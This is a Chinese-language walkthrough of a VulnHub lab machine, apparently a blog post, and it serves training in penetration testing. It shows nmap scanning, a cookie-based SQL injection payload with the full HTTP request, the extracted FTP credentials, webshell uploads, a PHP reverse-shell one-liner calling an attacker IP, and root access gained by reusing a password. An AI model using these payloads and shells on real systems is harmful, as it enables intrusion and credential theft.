这是vulnhub靶机系列文章的第二篇,具体下载连接去vulnhub或者百度、谷歌搜搜就好...开始进入主题
1、 首先用nmap扫描网段内存活主机:
nmap -T4 -sn 192.168.136.0/24
2、 扫出靶机ip后,用nmap扫描靶机开放的端口:
nmap -T4 -sS 192.168.136.130
3、访问192.168.136.130,发现搭建了apache服务,但是此页面没什么可利用的地方
4、 用dirbuster扫描靶机目录,扫出了:
192.168.136.130/library.php
5、 访问此目录,然后用burp抓包分析:
6、 尝试在cookie处进行注入,看respones的返回结果
7、 先url解码,尝试构造闭合,发现结果多出了一个Netherlands,判断存在注入:
8、 然后在cookie处进行注入,payload如下:
POST /library.php HTTP/1.1
Host: 192.168.136.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.136.130/library.php
Cookie:PHPSESSID=j1qblijk42s45n78536naq1qg0;lastviewed=%7B%22lastviewed%22%3D%3D%22%22%7D (url解码) "{"lastviewed"==""Netherlands""}"(构造闭合)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
country=England
Cookie: PHPSESSID=p799o6eg7tthdqod5eocui2rf3; lastviewed="{"lastviewed"==""Netherlands" union select group_concat('
',clomun_name) from information_schema.columns where table_schema='library' and table_name='access'--+""}"
database: library
tables:access countries
columns:
id
service
username : globus
password : AroundTheWorld
9、 sql注入之后,发现username和password,利用其尝试登陆ftp(21端口)
上传一句话木马到网站根目录,然后用蚁剑连接:
10、 成功拿到webshell,但是权限只是 www-data,进行进一步提权
11、利用刚才的ftp任意文件上传,上传一个大马(panda.php)
//修改权限为777
12、 因为靶机上有php环境和python环境,所以用php反弹shell命令,执行反弹:
php -r '$sock=fsockopen("192.168.136.129",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
kali用nc开启监听:
13、成功反弹shell,因为接收的shell终端不标准,我们转成标准的终端:
14、查看权限,发现还是网站用户权限,我们要提权到root权限:
15、我们用ftp下载页面的源码进行分析:
发现这里有个数据库密码,先留着或许有用………
16、我们执行 su – root 用户尝试切换到root用户,发现需要密码:
尝试了注入出来的密码,发现错误,我们试一波源码里数据库的密码0.0
我擦,成功提权!
17、 总结:
1. 扫端口,扫出来的端口要去尝试利用,收获往往意想不到
2. 扫目录,敏感目录不要忽视
3. burp抓包分析,发现可能存在的注入点,多进行尝试,尝试构造闭合
4. 上传马子的时候注意权限问题,访问失败可能是马子权限不够导致的
5. 马子执行命令不好使的时候,可以用反弹shell来执行命令,注意:要将反弹过来的shell转成标准的终端
6. 利用一切已知的条件去尝试,例如:root的密码,用数据库的密码尝试就成功提权了